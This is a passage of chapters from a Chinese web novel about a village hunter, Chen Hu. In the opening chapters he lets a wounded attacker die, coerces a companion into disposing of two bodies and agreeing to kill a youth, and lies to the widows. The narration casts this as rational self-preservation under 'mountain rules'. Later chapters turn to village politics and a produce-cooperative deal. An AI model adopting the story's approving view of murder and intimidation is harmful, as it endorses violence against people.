马老三与陈虎有交集,陈虎又是个多次进山的主,所以用马老三为饵,诱骗陈虎进山杀害,最后再嫁祸给野狼的计划就此展开! 听完王二讲述之后,陈虎没再多言,马老三则红着眼,大骂王二不是个东西。 陈虎没再看濒死的王二,转而将目光投向了一旁的马老三,思索片刻后,冷冷出声道: “马老三,你人不错!” 陈虎突如其来的一句夸赞,让得马老三一时之间摸不着头脑,只能讪笑两声,摸着头没接话。 陈虎接着取出手中短刀,端详一阵后,将其扔到了地上。 刀刃深深嵌入雪地里,看得马老三心头一阵发颤。 陈虎接着缓缓出声道: “老三,我记得你家里有个儿子,你娘今年得有……六十多了吧?” 马老三闻声,急忙点头,应道: “对!儿子叫马走日,这小子今年满十二岁了,俺娘今年也有六十三。” 陈虎这时怪异一笑,手指着地上的那柄短刀: “你看,眼下这王二要杀我,还差点儿杀了你,这刚才要是我不出手,你家里老娘和妻儿只怕想给你收尸,都没地儿找。而你被野狼吃干抹尽后,你妻儿老小,一家子只怕是都没办法度日,你说是吧?” 马老三重重的点头,而后望向一旁奄奄一息的王二,语气坚定道: “虎爷,往后我这条命是你给的!只要能给我全家老小一口饭,说啥我都要报答你!” 陈虎轻笑一声,摆了摆手道: “报答我用不上,只不过这王二又要杀你,又要杀我,这让我再给他救回去,我做不到,要不索性给他留在这儿给野狼吃了罢了?” 听着陈虎循循善诱的引导,马老三先是一愣,而后犹豫道: “这……可是,可是咱们回去后咋说啊?” 陈虎淡然的耸了耸肩:“很简单!我来救人,没救成就是了,再说了,他还杀了那朱明,到时候警察也不会放过他,铁定枪毙!救了也是白救不是?” “索性他一命偿一命,这样起码朱家不知道这件事情,也算给王二家中老小,留一条活路。” 第一卷 第42章 仅有的选择 马老三这下子总算是信服了陈虎的说法,他自然知道朱家有好几个弟兄,要是晓得王二杀了朱明,哪怕是他王二死了,王家老小也绝对没有安生可言。 但一想到这么干等同于杀人,马老三又纠结着半晌,说不出半句话来。 陈虎接着开口道: “朱明的尸首也被搬回去了,索性找个山坳一扔,这样回头都会成为这一片野狼的腹中餐。” 马老三当即摇头:“虎爷,咱们要不把尸体带回去?这样好歹让他们有块墓碑不是?再说了,朱明也死得冤枉啊!” 陈虎不以为意一屁股坐到了雪地上,随手抓起一根枯黄野草,放到嘴里嚼着,面色古井无波: “朱明脖子上致命的刀伤,你怎么解释?朱家要是报警,警察来了,你又打算怎么解释?王二一死,光靠你我两人空口白话,能有人信?” 陈虎这话彻底打消了马老三多余的念头,当即点头称是。 也庆幸有陈虎在,否则的话,他真把尸体带回去了,那不是完犊子?他可不想背上人命官司! 见马老三应声没再反对,陈虎当即招呼着马老三搭手,二人直接拖拽着还喘气,却已经昏迷的王二。 一人一条腿拖拽着,直接就来到了山坳处,将尸首扔到了山沟里头。 这人拖拽的时候还喘气,等到拖行一阵后,彻底就硬了! 马老三可算吓得不轻,扔了尸体之后,直接大坐在雪地里面,大口喘气,眼中还满是惊恐之色。 这时候,一阵狼嚎声传出,顿时给马老三吓得一激灵。 陈虎则毫不客气的让马老三起身,接着去拖拽朱明的尸体。 马老三也不敢再多说什么,赶忙跟着陈虎,折返回去。 不多时,第二具尸体便被摔进了山沟。 做完了这一切,马老三可算是累得有些头晕眼花,坐在山沟边上,一边胃里翻江倒海直恶心,一边大喘气,只感觉自己心脏都快要跳出来。 陈虎则站在一旁把玩着随手携带的那把小刀,接着漠然出声道: “马老三,你家里粮食够吃到开年吗?开年后有没有口粮,能不能剩下点种子,等开春种地用?” 这话问得马老三整个人都有些发蒙,愣了愣,这才应道: “家里口粮……估摸着挺不到年关了,这还是一天只吃一顿算的。至于开春播种,只怕更难。” 说话间,马老三深深叹了口气。 实际上,要不是先前陈虎雇了他进山搬猪肉,给了不少报酬,只怕他家里粮食都撑不到今天。 陈虎微微点头,而后冷声接着道: “老三,刚才王二还没咽气时,你选择信我,将他扔到了这条山沟里面。” “眼下,我再给你两个选择!” “第一个选择,你可以选择现在下山回家,忘了这儿发生的事情,就说自己进山后雾气太大迷了路,和他们走散了。” “第二个选择,你可以选择往后就跟着我。眼下年景不好,跟着我进山打猎能保证一家老家,一天三顿饿不着。等到年景好了,我保证你跟了我能发家致富,以后多少能当一回人上人!” 陈虎的这份承诺,显得极为骇人! 听完这话,马老三只觉得口干舌燥,脑子都有些发懵。 他眼中有着难以置信道:“虎……虎爷,我需要做啥?” 关于让家里几口子饿不着,马老三绝对相信陈虎有这份能耐,至于以后荣华富贵,刚才王二临死前也说了。 这件事情自始至终就是村长推动的,目的是害怕陈虎顶了他的位置。 陈虎的能耐以及那些转世、神神鬼鬼的传闻,马老三可谓是深信不疑! 所以能得到陈虎的这份承诺,马老三简直难以想象,这就像是天上掉下馅饼,落到他嘴里了! 陈虎正色一笑:“如果你选第二条,那你需要做一件事情。” 说话间,陈虎将手中的短刀,扔到了马老三跟前。 马老三望着地上短刀,狠狠咽了口唾沫:“虎爷,你是……你是说……” 马老三心中大惊! 不敢细想陈虎打算让自己做什么,只觉得自己双手此刻都在颤抖。 陈虎却不以为意的点了点头,眸光之中,闪过一抹冷意: “王胜若是活着,这件事情解释不清。况且,即便是他暂时没证据报警,也威胁不到你我二人。” “但你我一并杀了他爹,就凭这个,你认为他能咽下这口气一辈子?你不怕他日后报复,你妻儿老小也不怕?” “从来只有千日做贼,何来千日防贼的说法?” “拿上这把刀,往后你也别叫什么虎爷,叫虎哥便是!咱俩年纪相差不少,就不用兄弟称呼了,我以后便叫你一声老马吧!” “我保证能有我陈虎一口肉吃,便饿不着你老马!” “杀人放火金腰带,修桥铺路无尸骸!要怎么选,你自己想!” 陈虎的这番言语输出,每一个字都在马老三的心田,激起了惊涛骇浪! 马老三低着头,思考良久,然后抬头对上了陈虎那对冒着厉色的眸子。 此刻,这个四十来岁、半生一事无成的庄稼汉,紧紧咬着牙,然后一把捡起地上的匕首,接着颤抖着身子,出声道: “虎哥!我听你的!” 陈虎并不意外,十分满意的点了点头后,然后神色恢复淡然: “走吧!那小子还在山道上,等把他扔进了山沟,只怕天都快要黑了,利落些的话,晚上还能够带几头野狼回去。” 看似陈虎接连两次给了马老三选择的机会,可事实当真如此吗? 从一开始,马老三就只有顺从陈虎这一个选择! 马老三自然也清楚,王二的话,陈虎断然不会留下。 毕竟,这里发生的事情走出山后,陈虎拿不出证据证明一切都是王家父子的阴谋,反倒是王二能够凭着箭伤,可以对陈虎倒打一耙! 而马老三既然帮助了陈虎将王二抛下山谷,这就等同于杀人帮凶! 至于让他动手杀王胜,马老三就算没有得到的陈虎承诺,也无法拒绝。 单凭他与陈虎一同将王二扔下山谷,马老三就知道若是不能妥善的解决王胜,这无异于给自己一家老小留下隐患! 当然,在陈虎的视角内。 马老三从始至终,都有两个选择。 如果在看到王二尚且喘气时,马老三决定救下王二,那山沟里面就会多出一具尸体,给山林里的豺狼虎豹加餐! 包括在抛尸之后,马老三若是没应下陈虎的许诺,拿起那把短刀,那陈虎仍旧会毫不犹豫的送马老三下去陪王二! 这般狠辣的决定,无关善恶! 陈虎选择这样做,仅仅只是为了自保的理智处理方式。 他不可能让目睹现场的马老三成为犯罪现场证据,即便对方告发自己的可能性微乎其微。 第一卷 第43章 估计还能有个全尸 等到陈虎与马老三一起下山时,已经是接近傍晚了。 进山道上,王家婆姨和朱明媳妇,以及马老三的老婆此时全部都等在路边。 三个妇人冻得直哆嗦,仍旧眼巴巴的望着山道。 眼见着陈虎与马老三一人扛着两匹野狼往山下赶来,三个婆姨焦急上前。 马老三媳妇儿倒是松了口气,可一看到马老三垂着脑袋,满脸菜色,以及周身衣服多处被抓破,几乎浑身都是伤口,马老三媳妇直接就红了眼: “怎么弄的啊这是?怎么弄成了这样?” 马老三勉强挤出了一个笑容,声音嘶哑应道: “没啥大事儿,小伤!被狼崽子咬破抓破的,都不打紧!” 这时候,王二家媳妇和朱明媳妇见只有两人下山,都接连询问其余人的下落。 陈虎冷冷望向王二老婆,这女人自打见着陈虎下山时,神情就十分异样。 王二媳妇被陈虎不善的目光盯着,一时之间,眼神闪躲,不再吭声。 马老三见陈虎不接话,这才咽了口唾沫,缓缓开口道: “我和王二还有朱明上山后,本来是王二带路的,一开始他说家里鸡崽子丢了,抓几头狼崽子不用进山,到山底下打几只狼崽子就成。” “结果,山里雾障太大,我们三就走散了,后来是虎哥出现,我才没死在狼崽子的嘴里。” 朱明家媳妇一听到这话,顿时双腿一软坐到了雪地上,双眼无神喃喃道: “没找着人,那他们……” 王二媳妇则脸色阴晴不定,而后死死盯着陈虎,声音颤抖道: “你……你,我家王胜跟着你进山的,他去哪儿了?” 陈虎冷哼一声,啐了口唾沫: “这王胜进山时给我说他在山腰上见着马老三他们,在山沟里被野狼围住了,请我去救人。” “可救人便救人,他王胜在找到马老三后,见不到王二和朱明,就非要逞强进深山里去。天都要黑了,还敢进山,我俩拦不住他,就让他去了。” “他要是运气好的话,兴许找个沟里死了,没被野兽翻出来,来年开春雪化了,估计还能有个全尸。” 陈虎这话可不带半点儿客气,从王家婆姨脸上的神色,陈虎便笃定了对方知道自家男人和儿子要弄死他的这事儿。 这王二家婆姨一听这话,也是气的身子直发抖,红着眼嘟囔半天,见陈虎面色不善,也没敢再多说什么。 朱明老婆倒是啜泣不止,甚至于想朝着深山走去。 马老三两口子忙将人拉着往回走,一边走,还一边安慰着。 陈虎懒得理会这几人,朱明的死和他没关系,王二父子俩死得活该,陈虎更是懒得理会。 当即,陈虎和马老三打了声招呼,他便提着这两头野狼往回走了。 陈虎回到家时,杨蓉也是忧心了一下午。 索性见到陈虎安全回来,这才松了口气。 晚上家里吃过晚饭后,陈虎帮着杨蓉将那两头狼处理干净。狼肉照常熏制,狼皮则扒了下来烘干。 小囡囡陈瑶与小鼻涕虫陈真两人,眼巴巴的望着熏肉,嘴馋着等陈虎投喂。 陈虎自己也尝了尝熏制的狼肉,口感还行,比猪肉好上许多。 只不过,估摸着因为没有妥善处理的原因,这狼肉有着一股子土腥味。 两个小家伙猎奇的吃了两口后。也没了兴趣。 陈虎见狼肉处理得差不多,当即督促着两个小家伙练习写字。 陈瑶和陈真两人在上次陈虎带回字帖和几本启蒙读物后,每日大多数时候的十分勤奋练字,或是找陈虎教导。 小囡囡今天刚学会写下自己的名字,便举着宣纸,来到陈虎跟前,要陈虎看她写自己名字。 陈虎乐呵着点头:“囡囡真聪明!” 小囡囡则带着兴奋的笑容,开始一笔一划的写出“陈瑶”二字,字迹虽说有些歪斜,但还是十分值得鼓励。 可还不等陈虎出声鼓励,小囡囡又接着在后面写到: “和哥哥”、“最好”。 写完最后一个字,小囡囡眨巴眨巴眼望着陈虎。 陈虎心头一暖,抱起小家伙,轻声开口道: “囡囡和哥哥最好!哥哥明天上街给你买冰糖葫芦吃!” 小囡囡闻言,顿时两只眼睛弯成了两只月牙:“哥哥最好啦!” 小鼻涕虫也赶忙凑了上来不服气道:“哥,我还会写你的名字,我也要吃糖葫芦!” 陈虎两手分别摸着两个小家伙脑袋,当即笑出声来:“好!明天咱们都吃糖葫芦!” 夜里,陈虎盘算着家中的粮食和余钱。 眼下粮食还足够吃上一个月,多买一些就能撑到年关了。 熊肉还剩两百斤左右,也足够一家子吃。 所以,昨儿带回来的两头狼,陈虎打算连带着皮毛一起给卖了。 当然,翻新房子的钱仍旧没着落。 所以,陈虎这次去镇上采购过后,得再进山了。 思虑着柴米油盐的琐事,陈虎后半夜才睡下。 次日,陈虎上午吃过早饭后,便朝着镇上赶去,背上还驮着那两只处理好的野狼。 正午时,陈虎来到了孙老的家门外。 本是照旧送肉,可等到陈虎敲开院门,却发现开门的竟是一个从未见过的小姑娘。 这姑娘倒是生得没半点儿烟火气,穿着一身白色棉裙,披着一件白色棉服,面容白皙,出落大方,眉眼间满是端雅姿态。 对方开门见陈虎背着一堆熏肉和两块狼皮,微笑着询问道: “请问你是?” 陈虎看着姑娘的脸愣了愣,闻声这才应道: “我是给孙老送野味的,孙老在家吗?” 少女闻言,当即点了点头,冲陈虎挥手道:“先进来吧!爷爷在家!” 陈虎得知少女是孙老的孙女,当即就点了点头,往院里走去。 少女走在前面,陈虎跟着。 进了院子之后,陈虎讶异的发现孙老人就在院里,并且这院子里还搭了个土灶,上面正煮着汤锅。 陈虎找地方放下熏肉后,不等他先打招呼,孙老便当即招手喊道: “陈虎来了,快过来一块儿吃点,今儿烫火锅吃。” 陈虎上前,大方坐下,望着锅里沸腾的红汤,也是颇为讶异: “孙老还吃这东西?” 孙老笑着点头道:“早年间去过南方,知青下乡时到四川待了一阵子,这火锅可是那地方的特产美食,你快尝尝看!” 第一卷 第44章 这就是山里的规矩! 孙老的孙女在一旁当即就给陈虎盛了一碗饭,然后递了碗筷过来。 陈虎接过碗筷,当即道谢,少女则笑了笑,没接话。 这时候,孙老也介绍道: “这是我孙女,孙若薇!这小子是镇上出了名的后生,叫陈虎。” 两人闻言,皆相视点了点头。 这是陈虎拿起碗筷,忍不住问出了心中的疑惑:“孙老,这吃饭为何在院子里面吃?冰天雪地的,不冻得慌?” 孙老当即大笑道:“若薇,给这小子拿个杯子过来!” 孙若薇闻言,立即取了个杯子,抬起桌上酒壶,给陈虎斟了一杯。 陈虎不明所以的端起酒杯,酒杯里面,酒水清澈,酒花十分漂亮,一股浓郁的酒香,扑面而来。 孙老自个儿端起酒杯,先抿了一口,接着感慨出声: “这是北方特产的烧刀子!喝上两口浑身都热得慌,你也尝尝。” 陈虎闻言也跟着喝了一大口,顿时感觉一股暖流,从喉咙烧到了胃里面,紧跟着开始的辛辣和刺激,都成为了一股醇厚的暖意。 感受到身体瞬间发热,陈虎也忍不住眼前一亮: “好酒!要是有这酒水,进了山即便是遇到意外,也可以保证一时半会儿,不会失温!” 孙老闻言,也是忍俊不禁的摇头笑道:“你小子,喝酒尝不出好坏,反倒是想着这酒该咋用。” 陈虎无奈的耸了耸肩:“老爷子见笑,我一泥腿子打小不知道皇帝用金锄头,还是银锄头刨地,能品得出酒水的好坏才不正常。” 孙老闻言,更是被陈虎这番话,给逗得合不拢嘴。 旋即,老爷子便开始招呼着陈虎吃饭。 汤锅里面,红汤沸腾。 孙老爷孙二人与陈虎吃得痛快,老爷子不时便端起酒杯来上一口,陈虎也有样学样。 吃饭期间,孙老夹起一片肉放到嘴里,而后瞅了一眼陈虎带来的熏肉与狼皮,当即出声道: “好小子,猎了两头狼崽子?” 陈虎闻言,当即点了点头:“这皮毛剥得干净,想着老爷子兴许瞧得上,便一并带了过来。这两块狼皮,就算是小子我感谢老爷子照顾,给老爷子拜个早年了,不收钱!” 孙老闻声,眼皮子都没抬,将一片毛肚下了锅,不紧不慢的开口: “你倒是有心!听说先前你预料到要出雪灾,让村里家家户户都打理了屋顶积雪,如此让你们村子少死了不少人,事后还组织了村民救援受灾的乡亲?” 陈虎点了点头,并未否认,接着解释道: “倒不是小子我预卜先知!不过是家里房梁不结实,被积雪压得吱嘎作响,这好心给乡亲们提醒了一二,也没料到当晚会下大雪。” 孙老闻言,微微颔首,然后仔细的打量了陈虎一眼,眼底闪过一抹欣赏之色: “你小子既不居功自傲,说话不卑不亢,真让老头子我好奇,你爹娘什么来头,教出了你这样的孩子。” 陈虎起身,拎起酒壶给孙老倒酒,接着笑着摇头: “老爷子太过抬举我了!家里头几代务农,我也不过运气好了几分,提醒下乡亲们,也没做啥哪儿敢邀功。” 孙老没接话,举起酒杯,示意陈虎碰一个,陈虎当即给自己满上,而后放低姿态,上前与孙老碰杯。 紧跟着,陈虎二话不说一口干完! 孙老抿了一口,接着再度大笑道: “好小子!好酒量!” 陈虎一口酒下肚,长舒一口气道:“老爷子,其实今儿除了送肉,还有件事情想请教。” 孙老闻言,轻声应了一嘴:“说说!” 陈虎眸光之中,闪过一抹冷意,而后正色出声道: “老爷子,我就和您直说了,我打算明年开春竞选我们村的村长,想知道这其中的门道。” 这件事情,早在陈虎带着马老三下山前就想好了! 既然陈桥一家子害怕自己被上面注意到,更怕自己声望太高影响他下一届选举,为此甚至于不惜使阴招,让王二来对自己下死手。 那么即便是陈虎一开始从未有过想争村长的心思,现如今,陈虎也必须非争不可! 暂且他并没有办法对付陈桥一家,毕竟,所有事情都需要在规则之内。 就像王二在山里面对朱明陈虎他们下杀手,陈虎将王二和他儿子一并送到了山沟里喂狼一样,这就是山里的规矩! 在山里,杳无人烟处,弓弩和刀枪都不长眼,遵循丛林法则是弱肉强食的规矩。 陈虎从不认为王二这事儿办得有错,毕竟,人的本性是利己。 要说有错,那就错在他王二小看了陈虎,没有更多准备。 但山下有山下的规矩! 陈虎不能提着刀枪弓弩去陈桥家里把这事儿撂清楚,一来他没有证据,二来杀人偿命! 而拿走陈桥手里的特权与地位,这才是陈虎该顺着规矩做的。 孙老闻言,轻笑一声,放下了手中筷子,一只手放到桌上,轻轻敲击桌面: “这事儿不难!一个是要上面有人举荐,推荐信、举荐人,上面点头后,下面弄个选举。乡亲的工作以你的声势没啥问题,举荐这事儿就是你不找老头子我,凭着你雪灾时救援和预防有突出表现,那也不会是啥问题。” 正说着,孙老从桌上拿起一杆烟枪,而后又从兜里面,掏出一个铝制烟盒。 接着,孙老就从烟盒里面掏出烟丝,又取出一张方正的小巧宣纸,将烟丝裹上。 裹好的烟卷在将一头插入烟枪里面,随即放在炉子下点燃。 伴随着一阵吞云吐雾,老爷子这才接着道: “我看你小子没啥官相,也不像是痴心权势的人,怎么想着要当这个村长?” 陈虎闻言,不由得愣了愣,接着重重的叹了口气: “有些事情身不由己,我没想要去争,但有人怕我争便使阴招,不争馒头争口气。况且,我不争的话,却被人防着,还会有诸多不便!” 孙老闻言,点了点头,接着又吐出一口烟雾: “你住在上河村?” “没错!孙老去过?” 孙老摇头,而后放下烟枪,接着往后一仰,身子倚靠在躺椅上,悠然开口道: “小子,我知道你有几分能耐,也知道你们上河村那村长是个做摆设的主!” “其实,老头子我可以让你用不着等明年,直接知会儿一声,就让你做这个村长。” “但我需要你给个理由,老爷子我可不想让你走了后门之后,回头事儿办不成,结果闹得我这老脸也没处搁。” …… 第一卷 第45章 这小子的名声,十里八乡都传遍了! 陈虎听了孙老的话后,心头不由得一惊,而后长出一口气后,没马上应声。 低着头,沉思片刻之后,陈虎这才抬起头,目光炯炯,坚定出声:“烦请老爷子给我一个月!一个月后,我能给全村乡亲找一条出路!” 孙老闻言,倒是颇为惊讶,盯着陈虎好一阵,见他信心十足的模样,接着点了点头: “这件事情,便依了你!在这期间,你可以常来老头子我这边坐坐。” 陈虎闻言,当即起身,诚恳道谢! 孙老这话摆明了就是说,不管你做什么,有需要可以找我帮忙,在这期间都行。 但这其中,也有另一层意思,那便是话既然你说出口了,要是没半点儿苗头,这次过后,便无需再来此处。 不多时,孙老给陈虎结算了狼肉钱后,陈虎也离开了孙家。 待到陈虎走后,孙若薇一边收拾碗筷,一边冲着院里面正打量狼皮的爷爷,好奇出声道: “爷爷,这人就是镇上传言什么转世,还能预卜先知的半仙?” 孙老手捧着狼皮,答非所问道:“不错!这狼皮倒是剥的干净利落,回头让你婶娘给你做几条围脖!” 孙若薇闻言,埋怨的望了孙老一眼,嗔怒出声:“爷爷!” 孙老见状,这才放下手中的狼皮,乐呵道: “可不是!这小子的名声,十里八乡都传遍了!” 孙若薇若有所思一阵,接着摇头道: “不过,看他年纪不大,倒不像是那种搞封建迷信的神棍!不过爷爷,他说一个月就能让村里人都有一条出路,是不是夸大其词了?” 孙老没做评价,反倒淡然道: “本想着他会给个保证啥的,我老头子也乐意给他机会,他非要把狠话说了,那也依他,我对这小子倒是有信心。” 孙若薇闻言,不由得暗暗心惊,随后回想起方才那少年de谈吐,更是对其好奇。 这究竟是怎样一个人? 农户出身却与庄稼人的谈吐行为,完全不同,甚至于让自家爷爷这般看重。 离开孙家之后,陈虎便去到了市集。 逛了一圈下来,陈虎却并未着急买粮,反倒在一番打量后,走进了一家干货店。 镇上的铺子并不多,各种摊贩加上十几家日常供需铺子一条街,便是小镇最为热闹的地儿。 这家干货铺与旁边卖粮和布匹的铺子不同,不仅来客稀少,就连店铺伙计正下午也在打瞌睡。 陈虎进门后,敲了敲柜台,叫醒了正在午睡的伙计。 伙计看上去和陈虎差不多年纪,一张圆脸显得十分和善,可兴许是被吵醒的缘故,伙计很不耐烦睁开眼。 见到来人是个年岁不大的少年时,伙计当即恼怒:“弄啥弄啥?要饭去别的地儿要去,别来这儿碍眼!” 陈虎见对方狗眼看人低,当即冷笑一声,不由分说,抬手便招呼了这伙计一巴掌! 这一巴掌打得十分结实,脆生生的耳光让人光是听着都能觉得痛。 伙计也被这突如其来的一巴掌,直接就给打蒙了,缓了片刻之后,他红着眼,撸起袖子就要动手。 这时候,外面的动静吵到了正在阁楼上休息的店老板。 店老板急忙露面,正好瞧见店伙计要动手,急忙喝止道: “刘然!你给老子住手!” 闻声,方才还气势汹汹的店伙计,马上偃旗息鼓,店老板也三步做两步,立马顺着楼梯走下。 到了柜台前,店老板先是冷冷瞅了伙计一眼,而后赶忙朝着陈虎赔笑道: “客人别生气,姐姐家孩子送来店里打杂,刚来不懂规矩,我让他给您赔不是。” 说完,店老板便冷眼撇向那名叫刘然的伙计,接着怒斥道: “赶紧给人道歉!要是人家不原谅你,老子今天就打断你腿送你回去!” 伙计闻言,当场愣住,而后不可置信的将目光在陈虎与自家舅舅的身上来回转。 紧跟着,这伙计便凑到店老板身后,脸上写满了委屈,小声开口道: “舅舅,他……他就是一要饭的,还打了我……” 店老板闻言,当即怒视自家这不成器的外甥,冷哼道: “狗眼看人低的东西,赶紧道歉!” 说罢,店老板赶忙拉来一张椅子,热情招呼道: “客人,您先坐下,坐下喝口水。” 店老板给陈虎倒了杯水后,二话不说一脚踹在自家外甥的屁股上,接着就拎着刘然的耳朵,将他扯到了后边。 刘然自是委屈无比,刚想出声,确被自家舅舅直接掐了一把,接着,店老板便低声道: “你小子脑子缺根弦?你没见他这一身穿的是上等熊皮?!” 刘然闻言,当即就愣了愣,望向那头的陈虎,心头不禁一颤。 店老板无奈的叹了口气,给了刘然一个眼神,不再多言。 刘然接着深吸了一口气后,这才来到陈虎跟前,低着头,弱弱出声: “对不住您,刚才是小的狗眼看人,还望客人莫要计较。” 陈虎没心思搭理伙计,当即冲着店老板招呼道:“老板怎么称呼?” 店老板赶忙上前,使了个眼色,便让刘然退下,接着脸上堆满笑意回道: “某家姓吴,单名一个飞字,敢问客人过来是打算买点什么?” 陈虎摆手道: “不知道店里都卖些什么。” 这名叫吴飞的老板,当即微笑应道: “小店主营各种干货,像是木耳、银耳、香菇等,当然也有鹿茸、党参、千年人参和皮革售卖。” 陈虎闻言,心头大喜,接着问道: “实际上,我想打听一下,吴老板这儿收不收货?” 吴飞听到陈虎这话后,不由得一脸诧异的望向陈虎,接着点了点头:“收自然收!像是客人身上这像瞎子皮毛做的袄子,放在店里回收,少说两百打底!当然我只是打个比方,客人莫要怪罪。” 陈虎微微颔首,心念微动: “我看吴老板这店里来客稀少,应当不在这处店里盈利吧?” 吴飞闻言,微微皱眉,干笑两声没接话。 陈虎则不紧不慢的接着道: “吴老板将干货、皮革还有一些个名贵大补药材采购上来,又送到南方去卖,这倒是个挣钱路子。不过,吴老板这生意还是做得小了。” 听着陈虎侃侃而谈,吴飞的心里头不禁气笑,却并未反驳什么。 陈虎倒是悠悠然接着出声: “据说吴老板收货都是下乡去收,这不仅效率低下,并且不能稳定供应,要说挣钱,只怕都靠着那些个名贵药材和皮革吧? 第一卷 第46章 合作谈妥 吴飞在这一片收购干货、皮革以及名贵药材多年,确实与陈虎所言无二致。 如今这年景,干货收购多是进山挖取,没有量产的话,自然是不能稳定供应的。 平时吴飞下南方走货,多是名贵药材如人参、鹿茸等,以及一些皮革为大头,干货只能算是他路上顺带的添头。 可眼见这少年把话说得这般明朗,吴飞仍旧不为所动,仍旧浅笑着问询出声: “不知客人今儿想要买些什么?” 陈虎见状,不由得皱了皱眉,细细打量着这位店主。 吴飞这人乍一眼看去并不算显眼,放在北方这田间地头,他那黝黑的肤色,利落的短发,再加上他身上那件有些发白的旧夹克,怎么看都像是一个体力劳动者。 但就这位怎么看都不显眼的中年人,却是镇上走货的货商里面最富有的主! 镇上平常除了几家卖粮的小粮商,就剩一家卖布匹的铺子,而吴飞平日里南下北上,货物辎重最少,却网罗银钱最多! 眼见着对方不为所动,陈虎也懒得与之藏掖什么,直接正色出声: “我知道吴老板平日里南来北往,四处走货,那些个干货都仅仅是带上做添头。” “一来干货供应不稳定,自然没有稳定的销货地点。” “二来干货比之其余货物,既没有价格上的优势,更是没办法大量供货。” “我也就打开天窗和吴老板你明着说了,我这次来是想和吴老板你谈合作的!” 走南闯北这么多年,吴飞自是见过大场面,见陈虎直言快语,他却仍旧不为所动,不紧不慢的浅笑出声: “客人能穿得上这件上好熊皮,想必就是近来声名鹊起的陈虎吧?” “据我所知,客人您虽居深山,但即便是您每日进山打猎,也做不到每日都能采集干货吧?即便是每日都有收获,刨除次品,能剩下多少?” “当然,若是客人您进山有采集到名贵药材,猎捕到皮革上好的猎物,小店还是欢迎贵客将物件卖与店里。” 吴飞此言,倒是落到了实处。 诚然,就他陈虎一人,即便是每日进山,也不可能每日都能采集到如香菇、银耳等干货。 就算有,收获也不可能大量供应。 并且,许多干货都是季节性生长,又怎么存在大量供应? 陈虎闻言,却并未辩驳,反倒是挑眉一笑,出声问道: “既然吴老板知道我是陈虎,那可知我家所在上河村有多少人口?” 吴老板微微皱眉,摇了摇头。 陈虎听到这话,微微颔首,端起桌上热水,喝了一口,接着悠悠道: “上河村共计八十二户,青壮男子上百人,妇女七十余人。如木耳、香菇等菌类大概都是每年秋季才有,干货不同于名贵药材,产量大出很多。” “我独自采集自然杯水车薪,但若是每年秋季,这男女接近两百号青壮一并采集,秋季三月连着采摘、晾晒,吴老板觉着这干货供应量足够与否?” 吴飞闻言,眼前一亮,却又忍不住眉头紧锁: “陈虎兄弟的名声,我也知晓一二,想必动员全村秋收间隙采摘干货不是大问题。” “但对我而言,即便是干货供应足够,但涉及到挨家挨户收购,每家每户的数量、质量各不相同,甚至于每家每户用称重的秤也有偏颇。” “这样的话,甚是麻烦,耽搁三月下乡挨家挨户收,有些得不偿失。” 吴飞虽不是庄稼人,却太懂这群人什么秉性! 农户每日与庄稼地打交道,所谓粒粒皆辛苦,除了他们几乎鲜有人知晓个中艰苦。 而正因为他们知晓其中艰辛,再加上他们知晓旱灾、洪涝时田里欠收了,饿肚子的滋味。 所以,他们会斤斤计较。 毕竟粒粒皆辛苦,粒粒尚且需要计较,何况以斤称论? 但这也会让收货面对诸多问题,例如吴飞所言,首先收购货物数量与价格问题,然后就是品质不一,定价偏颇。 最重要的是农户每家都有一杆秤,而这家里的秤与商用秤不同,没有标准,数值偏差等问题繁多。 还有晾晒的品质,以及品相等等。 这些个问题零零散散的凑在一起,都是阻力! 陈虎却不以为意,轻笑摇头道: “这些事情我都有考量,我会在开年后成立一个农产品供销社。我这边派人统一收上来,做好品质把控,以及品质分类,吴老板直接去供销社收取便是,如此便不存在以上问题。” 吴飞闻言。再度眼前一亮,心头将“农产品供销社”反复念叨,接着重重点头: “陈小兄弟当真大才!既如此说,那我应下了,关于利益分配这事儿,不知道陈小兄弟有没有什么想法?” 陈虎不假思索的应道: “这件事情,我事先说好,供销社不克扣乡亲们利润,供销社收货需要运转,但都不是什么费力活,仅收利润一成维持运转。若是这个模式可行,我会动员周围村子一起供货,分成不变。” 吴飞闻言,诧异的看了陈虎一眼,忍不住感叹道: “陈兄弟仁厚,我这边没有任何问题,如此的话,那就一言为定!” 陈虎听到这话,心头松了口气,重重点头:“一言为定!” 对于吴飞而言,这次交谈当真让他开了眼了! 陈虎一个十六、七岁的少年,以往传言陈虎进山猎熊瞎子也好,猎野猪也罢,他不能感受到个中困难。 吴飞只是觉着这个声名鹊起的少年,是个能人。 但通过这一次与陈虎的交谈,吴飞却惊奇发现陈虎不仅有着足够影响力,并且这属实是在其能力范围之内的,并且陈虎竟然能够将其中的琐碎问题提前做好打算。 到了最后,陈虎甚至于能说出不愿意侵吞乡亲的半分利润,只收利润一成供收货运转,属实让人刮目相看! 吴飞一想到自家侄子那不成器模样,再与之年龄相仿的陈虎对比,心中就无比气愤。 当真是人比人气死人! 生意谈妥之后,陈虎便婉拒了吴飞请客吃饭,当即抽身离开。 待到陈虎一走,吴飞望着自家侄子直接就变了一副面孔,数落不停: “成事不足,败事有余!你看看人家与你差不多年纪……” 陈虎走出这吴记干货店后,这才开始采购粮食,以及一些个生活所需物品。 待采买完后,陈虎背上了大包小包,跟着西沉的日头,缓缓归家。 晚间,小囡囡陈瑶和小鼻涕虫陈真两个小家伙在见到陈虎之后,便眼巴巴的盯着自家哥哥背上的那大包小包。 第一卷 第47章 狼群夜袭 陈虎看着两个小家伙,故作不解,笑问道: “怎么着?你们都看什么呢?” 小囡囡眨巴眨巴眼没出声,小鼻涕虫则直接上前,帮着陈虎把大包小包的接着,一副吃奶劲儿都用光的样子,龇牙咧嘴的将一袋子粮食卸下。 待所有的包裹卸下之后,陈真吸了吸鼻涕,懵懂的望向陈虎: “哥,糖葫芦呢?” 小囡囡也站在陈虎跟前,眼里满是委屈撅着嘴,却不吭声。 杨蓉一边收拾着将粮食找地方搁置,一边望向两个小家伙不满道: “吃什么糖葫芦?你哥哥抗那么多东西,拿着不方便,下次上街再给你们带。” 两个小家伙闻言,顿时垂头丧气,小囡囡倒是善解人意,拉着陈虎的衣角,摇了摇头道:“没事!哥哥,下次我们再吃!” 小鼻涕虫虽没吭声,却跑着去帮着杨蓉掀开米缸盖子,托着袋子,帮衬着放粮食去了。 陈虎看着这一幕,顿时笑得合不拢嘴,这才从大衣里头,将油纸包好的糖葫芦取出。 “一个个的,哥哪儿敢忘了?快来一人一串!” 两个小家伙闻言,骤然露出兴奋的神色,跑到陈虎跟前,笑着接过糖葫芦。 